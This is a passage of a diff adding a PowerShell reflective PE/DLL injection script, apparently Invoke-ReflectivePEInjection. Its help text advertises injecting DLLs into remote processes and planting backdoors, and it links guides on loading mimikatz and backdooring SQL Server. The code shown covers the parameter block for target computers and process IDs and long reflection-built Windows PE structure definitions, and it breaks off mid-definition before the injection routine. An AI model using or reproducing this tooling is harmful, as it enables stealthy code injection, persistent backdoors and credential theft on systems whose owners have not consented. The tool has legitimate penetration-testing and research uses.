in to a remote process. + -Can NOT return DLL output to the user when run remotely OR locally. + -Does NOT clean up memory in the remote process if/when DLL finishes execution. + -Great for planting backdoor on a system by injecting backdoor DLL in to another processes memory. + -Expects the DLL to have this function: void VoidFunc(). This is the function that will be called after the DLL is loaded. + + + + DLL LOADING NOTES: + + PowerShell does not capture an applications output if it is output using stdout, which is how Windows console apps output. + If you need to get back the output from the PE file you are loading on remote computers, you must compile the PE file as a DLL, and have the DLL + return a char* or wchar_t*, which PowerShell can take and read the output from. Anything output from stdout which is run using powershell + remoting will not be returned to you. If you just run the PowerShell script locally, you WILL be able to see the stdout output from + applications because it will just appear in the console window. The limitation only applies when using PowerShell remoting. + + For DLL Loading: + Once this script loads the DLL, it calls a function in the DLL. There is a section near the bottom labeled "YOUR CODE GOES HERE" + I recommend your DLL take no parameters. I have prewritten code to handle functions which take no parameters are return + the following types: char*, wchar_t*, and void. If the function returns char* or wchar_t* the script will output the + returned data. The FuncReturnType parameter can be used to specify which return type to use. The mapping is as follows: + wchar_t* : FuncReturnType = WString + char* : FuncReturnType = String + void : Default, don't supply a FuncReturnType + + For the whcar_t* and char_t* options to work, you must allocate the string to the heap. Don't simply convert a string + using string.c_str() because it will be allocaed on the stack and be destroyed when the DLL returns. + + The function name expected in the DLL for the prewritten FuncReturnType's is as follows: + WString : WStringFunc + String : StringFunc + Void : VoidFunc + + These function names ARE case sensitive. To create an exported DLL function for the wstring type, the function would + be declared as follows: + extern "C" __declspec( dllexport ) wchar_t* WStringFunc() + + + If you want to use a DLL which returns a different data type, or which takes parameters, you will need to modify + this script to accomodate this. You can find the code to modify in the section labeled "YOUR CODE GOES HERE". + + Find a DemoDLL at: https://github.com/clymb3r/PowerShell/tree/master/Invoke-ReflectiveDllInjection + + .LINK + + Blog: http://clymb3r.wordpress.com/ + Github repo: https://github.com/clymb3r/PowerShell/tree/master/Invoke-ReflectivePEInjection + + Blog on reflective loading: http://clymb3r.wordpress.com/2013/04/06/reflective-dll-injection-with-powershell/ + Blog on modifying mimikatz for reflective loading: http://clymb3r.wordpress.com/2013/04/09/modifying-mimikatz-to-be-loaded-using-invoke-reflectivedllinjection-ps1/ + Blog on using this script as a backdoor with SQL server: http://www.casaba.com/blog/ + + #> + + [CmdletBinding()] + Param( + [Parameter(Mandatory = $true)] + [Byte[]] + $Bytes32, + + [Parameter(Mandatory = $true)] + [Byte[]] + $Bytes64, + + [Parameter(Position = 1)] + [String[]] + $ComputerName, + + [Parameter(Position = 2)] + [ValidateSet( 'WString', 'String', 'Void' )] + [String] + $FuncReturnType = 'Void', + + [Parameter(Position = 3)] + [String] + $ExeArgs, + + [Parameter(Position = 4)] + [Int32] + $ProcId, + + [Parameter(Position = 5)] + [String] + $ProcName + ) + + Set-StrictMode -Version 2 + + + $RemoteScriptBlock = { + [CmdletBinding()] + Param( + [Parameter(Position = 0, Mandatory = $true)] + [Byte[]] + $PEBytes, + + [Parameter(Position = 1, Mandatory = $false)] + [String] + $FuncReturnType, + + [Parameter(Position = 2, Mandatory = $false)] + [Int32] + $ProcId, + + [Parameter(Position = 3, Mandatory = $false)] + [String] + $ProcName + ) + + ################################### + ########## Win32 Stuff ########## + ################################### + Function Get-Win32Types + { + $Win32Types = New-Object System.Object + + #Define all the structures/enums that will be used + # This article shows you how to do this with reflection: http://www.exploit-monday.com/2012/07/structs-and-enums-using-reflection.html + $Domain = [AppDomain]::CurrentDomain + $DynamicAssembly = New-Object System.Reflection.AssemblyName('DynamicAssembly') + $AssemblyBuilder = $Domain.DefineDynamicAssembly($DynamicAssembly, [System.Reflection.Emit.AssemblyBuilderAccess]::Run) + $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('DynamicModule', $false) + $ConstructorInfo = [System.Runtime.InteropServices.MarshalAsAttribute].GetConstructors()[0] + + + ############ ENUM ############ + #Enum MachineType + $TypeBuilder = $ModuleBuilder.DefineEnum('MachineType', 'Public', [UInt16]) + $TypeBuilder.DefineLiteral('Native', [UInt16] 0) | Out-Null + $TypeBuilder.DefineLiteral('I386', [UInt16] 0x014c) | Out-Null + $TypeBuilder.DefineLiteral('Itanium', [UInt16] 0x0200) | Out-Null + $TypeBuilder.DefineLiteral('x64', [UInt16] 0x8664) | Out-Null + $MachineType = $TypeBuilder.CreateType() + $Win32Types | Add-Member -MemberType NoteProperty -Name MachineType -Value $MachineType + + #Enum MagicType + $TypeBuilder = $ModuleBuilder.DefineEnum('MagicType', 'Public', [UInt16]) + $TypeBuilder.DefineLiteral('IMAGE_NT_OPTIONAL_HDR32_MAGIC', [UInt16] 0x10b) | Out-Null + $TypeBuilder.DefineLiteral('IMAGE_NT_OPTIONAL_HDR64_MAGIC', [UInt16] 0x20b) | Out-Null + $MagicType = $TypeBuilder.CreateType() + $Win32Types | Add-Member -MemberType NoteProperty -Name MagicType -Value $MagicType + + #Enum SubSystemType + $TypeBuilder = $ModuleBuilder.DefineEnum('SubSystemType', 'Public', [UInt16]) + $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_UNKNOWN', [UInt16] 0) | Out-Null + $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_NATIVE', [UInt16] 1) | Out-Null + $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_WINDOWS_GUI', [UInt16] 2) | Out-Null + $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_WINDOWS_CUI', [UInt16] 3) | Out-Null + $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_POSIX_CUI', [UInt16] 7) | Out-Null + $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_WINDOWS_CE_GUI', [UInt16] 9) | Out-Null + $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_EFI_APPLICATION', [UInt16] 10) | Out-Null + $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_EFI_BOOT_SERVICE_DRIVER', [UInt16] 11) | Out-Null + $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_EFI_RUNTIME_DRIVER', [UInt16] 12) | Out-Null + $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_EFI_ROM', [UInt16] 13) | Out-Null + $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_XBOX', [UInt16] 14) | Out-Null + $SubSystemType = $TypeBuilder.CreateType() + $Win32Types | Add-Member -MemberType NoteProperty -Name SubSystemType -Value $SubSystemType + + #Enum DllCharacteristicsType + $TypeBuilder = $ModuleBuilder.DefineEnum('DllCharacteristicsType', 'Public', [UInt16]) + $TypeBuilder.DefineLiteral('RES_0', [UInt16] 0x0001) | Out-Null + $TypeBuilder.DefineLiteral('RES_1', [UInt16] 0x0002) | Out-Null + $TypeBuilder.DefineLiteral('RES_2', [UInt16] 0x0004) | Out-Null + $TypeBuilder.DefineLiteral('RES_3', [UInt16] 0x0008) | Out-Null + $TypeBuilder.DefineLiteral('IMAGE_DLL_CHARACTERISTICS_DYNAMIC_BASE', [UInt16] 0x0040) | Out-Null + $TypeBuilder.DefineLiteral('IMAGE_DLL_CHARACTERISTICS_FORCE_INTEGRITY', [UInt16] 0x0080) | Out-Null + $TypeBuilder.DefineLiteral('IMAGE_DLL_CHARACTERISTICS_NX_COMPAT', [UInt16] 0x0100) | Out-Null + $TypeBuilder.DefineLiteral('IMAGE_DLLCHARACTERISTICS_NO_ISOLATION', [UInt16] 0x0200) | Out-Null + $TypeBuilder.DefineLiteral('IMAGE_DLLCHARACTERISTICS_NO_SEH', [UInt16] 0x0400) | Out-Null + $TypeBuilder.DefineLiteral('IMAGE_DLLCHARACTERISTICS_NO_BIND', [UInt16] 0x0800) | Out-Null + $TypeBuilder.DefineLiteral('RES_4', [UInt16] 0x1000) | Out-Null + $TypeBuilder.DefineLiteral('IMAGE_DLLCHARACTERISTICS_WDM_DRIVER', [UInt16] 0x2000) | Out-Null + $TypeBuilder.DefineLiteral('IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE', [UInt16] 0x8000) | Out-Null + $DllCharacteristicsType = $TypeBuilder.CreateType() + $Win32Types | Add-Member -MemberType NoteProperty -Name DllCharacteristicsType -Value $DllCharacteristicsType + + ########### STRUCT ########### + #Struct IMAGE_DATA_DIRECTORY + $Attributes = 'AutoLayout, AnsiClass, Class, Public, ExplicitLayout, Sealed, BeforeFieldInit' + $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_DATA_DIRECTORY', $Attributes, [System.ValueType], 8) + ($TypeBuilder.DefineField('VirtualAddress', [UInt32], 'Public')).SetOffset(0) | Out-Null + ($TypeBuilder.DefineField('Size', [UInt32], 'Public')).SetOffset(4) | Out-Null + $IMAGE_DATA_DIRECTORY = $TypeBuilder.CreateType() + $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_DATA_DIRECTORY -Value $IMAGE_DATA_DIRECTORY + + #Struct IMAGE_FILE_HEADER + $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' + $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_FILE_HEADER', $Attributes, [System.ValueType], 20) + $TypeBuilder.DefineField('Machine', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('NumberOfSections', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('TimeDateStamp', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('PointerToSymbolTable', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('NumberOfSymbols', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('SizeOfOptionalHeader', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('Characteristics', [UInt16], 'Public') | Out-Null + $IMAGE_FILE_HEADER = $TypeBuilder.CreateType() + $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_FILE_HEADER -Value $IMAGE_FILE_HEADER + + #Struct IMAGE_OPTIONAL_HEADER64 + $Attributes = 'AutoLayout, AnsiClass, Class, Public, ExplicitLayout, Sealed, BeforeFieldInit' + $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_OPTIONAL_HEADER64', $Attributes, [System.ValueType], 240) + ($TypeBuilder.DefineField('Magic', $MagicType, 'Public')).SetOffset(0) | Out-Null + ($TypeBuilder.DefineField('MajorLinkerVersion', [Byte], 'Public')).SetOffset(2) | Out-Null + ($TypeBuilder.DefineField('MinorLinkerVersion', [Byte], 'Public')).SetOffset(3) | Out-Null + ($TypeBuilder.DefineField('SizeOfCode', [UInt32], 'Public')).SetOffset(4) | Out-Null + ($TypeBuilder.DefineField('SizeOfInitializedData', [UInt32], 'Public')).SetOffset(8) | Out-Null + ($TypeBuilder.DefineField('SizeOfUninitializedData', [UInt32], 'Public')).SetOffset(12) | Out-Null + ($TypeBuilder.DefineField('AddressOfEntryPoint', [UInt32], 'Public')).SetOffset(16) | Out-Null + ($TypeBuilder.DefineField('BaseOfCode', [UInt32], 'Public')).SetOffset(20) | Out-Null + ($TypeBuilder.DefineField('ImageBase', [UInt64], 'Public')).SetOffset(24) | Out-Null + ($TypeBuilder.DefineField('SectionAlignment', [UInt32], 'Public')).SetOffset(32) | Out-Null + ($TypeBuilder.DefineField('FileAlignment', [UInt32], 'Public')).SetOffset(36) | Out-Null + ($TypeBuilder.DefineField('MajorOperatingSystemVersion', [UInt16], 'Public')).SetOffset(40) | Out-Null + ($TypeBuilder.DefineField('MinorOperatingSystemVersion', [UInt16], 'Public')).SetOffset(42) | Out-Null + ($TypeBuilder.DefineField('MajorImageVersion', [UInt16], 'Public')).SetOffset(44) | Out-Null + ($TypeBuilder.DefineField('MinorImageVersion', [UInt16], 'Public')).SetOffset(46) | Out-Null + ($TypeBuilder.DefineField('MajorSubsystemVersion', [UInt16], 'Public')).SetOffset(48) | Out-Null + ($TypeBuilder.DefineField('MinorSubsystemVersion', [UInt16], 'Public')).SetOffset(50) | Out-Null + ($TypeBuilder.DefineField('Win32VersionValue', [UInt32], 'Public')).SetOffset(52) | Out-Null + ($TypeBuilder.DefineField('SizeOfImage', [UInt32], 'Public')).SetOffset(56) | Out-Null + ($TypeBuilder.DefineField('SizeOfHeaders', [UInt32], 'Public')).SetOffset(60) | Out-Null + ($TypeBuilder.DefineField('CheckSum', [UInt32], 'Public')).SetOffset(64) | Out-Null + ($TypeBuilder.DefineField('Subsystem', $SubSystemType, 'Public')).SetOffset(68) | Out-Null + ($TypeBuilder.DefineField('DllCharacteristics', $DllCharacteristicsType, 'Public')).SetOffset(70) | Out-Null + ($TypeBuilder.DefineField('SizeOfStackReserve', [UInt64], 'Public')).SetOffset(72) | Out-Null + ($TypeBuilder.DefineField('SizeOfStackCommit', [UInt64], 'Public')).SetOffset(80) | Out-Null + ($TypeBuilder.DefineField('SizeOfHeapReserve', [UInt64], 'Public')).SetOffset(88) | Out-Null + ($TypeBuilder.DefineField('SizeOfHeapCommit', [UInt64], 'Public')).SetOffset(96) | Out-Null + ($TypeBuilder.DefineField('LoaderFlags', [UInt32], 'Public')).SetOffset(104) | Out-Null + ($TypeBuilder.DefineField('NumberOfRvaAndSizes', [UInt32], 'Public')).SetOffset(108) | Out-Null + ($TypeBuilder.DefineField('ExportTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(112) | Out-Null + ($TypeBuilder.DefineField('ImportTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(120) | Out-Null + ($TypeBuilder.DefineField('ResourceTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(128) | Out-Null + ($TypeBuilder.DefineField('ExceptionTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(136) | Out-Null + ($TypeBuilder.DefineField('CertificateTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(144) | Out-Null + ($TypeBuilder.DefineField('BaseRelocationTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(152) | Out-Null + ($TypeBuilder.DefineField('Debug', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(160) | Out-Null + ($TypeBuilder.DefineField('Architecture', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(168) | Out-Null + ($TypeBuilder.DefineField('GlobalPtr', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(176) | Out-Null + ($TypeBuilder.DefineField('TLSTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(184) | Out-Null + ($TypeBuilder.DefineField('LoadConfigTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(192) | Out-Null + ($TypeBuilder.DefineField('BoundImport', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(200) | Out-Null + ($TypeBuilder.DefineField('IAT', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(208) | Out-Null + ($TypeBuilder.DefineField('DelayImportDescriptor', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(216) | Out-Null + ($TypeBuilder.DefineField('CLRRuntimeHeader', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(224) | Out-Null + ($TypeBuilder.DefineField('Reserved', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(232) | Out-Null + $IMAGE_OPTIONAL_HEADER64 = $TypeBuilder.CreateType() + $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_OPTIONAL_HEADER64 -Value $IMAGE_OPTIONAL_HEADER64 + + #Struct IMAGE_OPTIONAL_HEADER32 + $Attributes = 'AutoLayout, AnsiClass, Class, Public, ExplicitLayout, Sealed, BeforeFieldInit' + $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_OPTIONAL_HEADER32', $Attributes, [System.ValueType], 224) + ($TypeBuilder.DefineField('Magic', $MagicType, 'Public')).SetOffset(0) | Out-Null + ($TypeBuilder.DefineField('MajorLinkerVersion', [Byte], 'Public')).SetOffset(2) | Out-Null + ($TypeBuilder.DefineField('MinorLinkerVersion', [Byte], 'Public')).SetOffset(3) | Out-Null + ($TypeBuilder.DefineField('SizeOfCode', [UInt32], 'Public')).SetOffset(4) | Out-Null + ($TypeBuilder.DefineField('SizeOfInitializedData', [UInt32], 'Public')).SetOffset(8) | Out-Null + ($TypeBuilder.DefineField('SizeOfUninitializedData', [UInt32], 'Public')).SetOffset(12) | Out-Null + ($TypeBuilder.DefineField('AddressOfEntryPoint', [UInt32], 'Public')).SetOffset(16) | Out-Null + ($TypeBuilder.DefineField('BaseOfCode', [UInt32], 'Public')).SetOffset(20) | Out-Null + ($TypeBuilder.DefineField('BaseOfData', [UInt32], 'Public')).SetOffset(24) | Out-Null + ($TypeBuilder.DefineField('ImageBase', [UInt32], 'Public')).SetOffset(28) | Out-Null + ($TypeBuilder.DefineField('SectionAlignment', [UInt32], 'Public')).SetOffset(32) | Out-Null + ($TypeBuilder.DefineField('FileAlignment', [UInt32], 'Public')).SetOffset(36) | Out-Null + ($TypeBuilder.DefineField('MajorOperatingSystemVersion', [UInt16], 'Public')).SetOffset(40) | Out-Null + ($TypeBuilder.DefineField('MinorOperatingSystemVersion', [UInt16], 'Public')).SetOffset(42) | Out-Null + ($TypeBuilder.DefineField('MajorImageVersion', [UInt16], 'Public')).SetOffset(44) | Out-Null + ($TypeBuilder.DefineField('MinorImageVersion', [UInt16], 'Public')).SetOffset(46) | Out-Null + ($TypeBuilder.DefineField('MajorSubsystemVersion', [UInt16], 'Public')).SetOffset(48) | Out-Null + ($TypeBuilder.DefineField('MinorSubsystemVersion', [UInt16], 'Public')).SetOffset(50) | Out-Null + ($TypeBuilder.DefineField('Win32VersionValue', [UInt32], 'Public')).SetOffset(52) | Out-Null + ($TypeBuilder.DefineField('SizeOfImage', [UInt32], 'Public')).SetOffset(56) | Out-Null + ($TypeBuilder.DefineField('SizeOfHeaders', [UInt32], 'Public')).SetOffset(60) | Out-Null + ($TypeBuilder.DefineField('CheckSum', [UInt32], 'Public')).SetOffset(64) | Out-Null + ($TypeBuilder.DefineField('Subsystem', $SubSystemType, 'Public')).SetOffset(68) | Out-Null + ($TypeBuilder.DefineField('DllCharacteristics', $DllCharacteristicsType, 'Public')).SetOffset(70) | Out-Null + ($TypeBuilder.DefineField('SizeOfStackReserve', [UInt32], 'Public')).SetOffset(72) | Out-Null + ($TypeBuilder.DefineField('SizeOfStackCommit', [UInt32], 'Public')).SetOffset(76) | Out-Null + ($TypeBuilder.DefineField('SizeOfHeapReserve', [UInt32], 'Public')).SetOffset(80) | Out-Null + ($TypeBuilder.DefineField('SizeOfHeapCommit', [UInt32], 'Public')).SetOffset(84) | Out-Null + ($TypeBuilder.DefineField('LoaderFlags', [UInt32], 'Public')).SetOffset(88) | Out-Null + ($TypeBuilder.DefineField('NumberOfRvaAndSizes', [UInt32], 'Public')).SetOffset(92) | Out-Null + ($TypeBuilder.DefineField('ExportTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(96) | Out-Null + ($TypeBuilder.DefineField('ImportTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(104) | Out-Null + ($TypeBuilder.DefineField('ResourceTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(112) | Out-Null + ($TypeBuilder.DefineField('ExceptionTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(120) | Out-Null + ($TypeBuilder.DefineField('CertificateTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(128) | Out-Null + ($TypeBuilder.DefineField('BaseRelocationTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(136) | Out-Null + ($TypeBuilder.DefineField('Debug', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(144) | Out-Null + ($TypeBuilder.DefineField('Architecture', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(152) | Out-Null + ($TypeBuilder.DefineField('GlobalPtr', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(160) | Out-Null + ($TypeBuilder.DefineField('TLSTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(168) | Out-Null + ($TypeBuilder.DefineField('LoadConfigTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(176) | Out-Null + ($TypeBuilder.DefineField('BoundImport', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(184) | Out-Null + ($TypeBuilder.DefineField('IAT', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(192) | Out-Null + ($TypeBuilder.DefineField('DelayImportDescriptor', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(200) | Out-Null + ($TypeBuilder.DefineField('CLRRuntimeHeader', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(208) | Out-Null + ($TypeBuilder.DefineField('Reserved', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(216) | Out-Null + $IMAGE_OPTIONAL_HEADER32 = $TypeBuilder.CreateType() + $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_OPTIONAL_HEADER32 -Value $IMAGE_OPTIONAL_HEADER32 + + #Struct IMAGE_NT_HEADERS64 + $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' + $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_NT_HEADERS64', $Attributes, [System.ValueType], 264) + $TypeBuilder.DefineField('Signature', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('FileHeader', $IMAGE_FILE_HEADER, 'Public') | Out-Null + $TypeBuilder.DefineField('OptionalHeader', $IMAGE_OPTIONAL_HEADER64, 'Public') | Out-Null + $IMAGE_NT_HEADERS64 = $TypeBuilder.CreateType() + $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_NT_HEADERS64 -Value $IMAGE_NT_HEADERS64 + + #Struct IMAGE_NT_HEADERS32 + $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' + $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_NT_HEADERS32', $Attributes, [System.ValueType], 248) + $TypeBuilder.DefineField('Signature', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('FileHeader', $IMAGE_FILE_HEADER, 'Public') | Out-Null + $TypeBuilder.DefineField('OptionalHeader', $IMAGE_OPTIONAL_HEADER32, 'Public') | Out-Null + $IMAGE_NT_HEADERS32 = $TypeBuilder.CreateType() + $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_NT_HEADERS32 -Value $IMAGE_NT_HEADERS32 + + #Struct IMAGE_DOS_HEADER + $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' + $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_DOS_HEADER', $Attributes, [System.ValueType], 64) + $TypeBuilder.DefineField('e_magic', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('e_cblp', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('e_cp', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('e_crlc', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('e_cparhdr', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('e_minalloc', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('e_maxalloc', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('e_ss', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('e_sp', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('e_csum', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('e_ip', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('e_cs', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('e_lfarlc', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('e_ovno', [UInt16], 'Public') | Out-Null + + $e_resField = $TypeBuilder.DefineField('e_res', [UInt16[]], 'Public, HasFieldMarshal') + $ConstructorValue = [System.Runtime.InteropServices.UnmanagedType]::ByValArray + $FieldArray = @([System.Runtime.InteropServices.MarshalAsAttribute].GetField('SizeConst')) + $AttribBuilder = New-Object System.Reflection.Emit.CustomAttributeBuilder($ConstructorInfo, $ConstructorValue, $FieldArray, @([Int32] 4)) + $e_resField.SetCustomAttribute($AttribBuilder) + + $TypeBuilder.DefineField('e_oemid', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('e_oeminfo', [UInt16], 'Public') | Out-Null + + $e_res2Field = $TypeBuilder.DefineField('e_res2', [UInt16[]], 'Public, HasFieldMarshal') + $ConstructorValue = [System.Runtime.InteropServices.UnmanagedType]::ByValArray + $AttribBuilder = New-Object System.Reflection.Emit.CustomAttributeBuilder($ConstructorInfo, $ConstructorValue, $FieldArray, @([Int32] 10)) + $e_res2Field.SetCustomAttribute($AttribBuilder) + + $TypeBuilder.DefineField('e_lfanew', [Int32], 'Public') | Out-Null + $IMAGE_DOS_HEADER = $TypeBuilder.CreateType() + $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_DOS_HEADER -Value $IMAGE_DOS_HEADER + + #Struct IMAGE_SECTION_HEADER + $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' + $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_SECTION_HEADER', $Attributes, [System.ValueType], 40) + + $nameField = $TypeBuilder.DefineField('Name', [Char[]], 'Public, HasFieldMarshal') + $ConstructorValue = [System.Runtime.InteropServices.UnmanagedType]::ByValArray + $AttribBuilder = New-Object System.Reflection.Emit.CustomAttributeBuilder($ConstructorInfo, $ConstructorValue, $FieldArray, @([Int32] 8)) + $nameField.SetCustomAttribute($AttribBuilder) + + $TypeBuilder.DefineField('VirtualSize', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('VirtualAddress', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('SizeOfRawData', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('PointerToRawData', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('PointerToRelocations', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('PointerToLinenumbers', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('NumberOfRelocations', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('NumberOfLinenumbers', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('Characteristics', [UInt32], 'Public') | Out-Null + $IMAGE_SECTION_HEADER = $TypeBuilder.CreateType() + $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_SECTION_HEADER -Value $IMAGE_SECTION_HEADER + + #Struct IMAGE_BASE_RELOCATION + $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' + $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_BASE_RELOCATION', $Attributes, [System.ValueType], 8) + $TypeBuilder.DefineField('VirtualAddress', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('SizeOfBlock', [UInt32], 'Public') | Out-Null + $IMAGE_BASE_RELOCATION = $TypeBuilder.CreateType() + $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_BASE_RELOCATION -Value $IMAGE_BASE_RELOCATION + + #Struct IMAGE_IMPORT_DESCRIPTOR + $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' + $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_IMPORT_DESCRIPTOR', $Attributes, [System.ValueType], 20) + $TypeBuilder.DefineField('Characteristics', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('TimeDateStamp', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('ForwarderChain', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('Name', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('FirstThunk', [UInt32], 'Public') | Out-Null + $IMAGE_IMPORT_DESCRIPTOR = $TypeBuilder.CreateType() + $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_IMPORT_DESCRIPTOR -Value $IMAGE_IMPORT_DESCRIPTOR + + #Struct IMAGE_EXPORT_DIRECTORY + $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' + $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_EXPORT_DIRECTORY', $Attributes, [System.ValueType], 40) + $TypeBuilder.DefineField('Characteristics', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('TimeDateStamp', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('MajorVersion', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('MinorVersion', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('Name', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('Base', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('NumberOfFunctions', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('NumberOfNames', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('AddressOfFunctions', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('AddressOfNames', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('AddressOfNameOrdinals', [UInt32], 'Public') | Out-Null + $IMAGE_EXPORT_DIRECTORY = $TypeBuilder.CreateType() + $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_EXPORT_DIRECTORY -Value $IMAGE_EXPORT_DIRECTORY + + #Struct LUID + $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' + $TypeBuilder = $ModuleBuilder.DefineType('LUID', $Attributes, [System.ValueType], 8) + $TypeBuilder.DefineField('LowPart', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('HighPart', [UInt32], 'Public') | Out-Null + $LUID = $TypeBuilder.CreateType() + $Win32Types | Add-Member -MemberType NoteProperty -Name LUID -Value $LUID + + #Struct LUID_AND_ATTRIBUTES 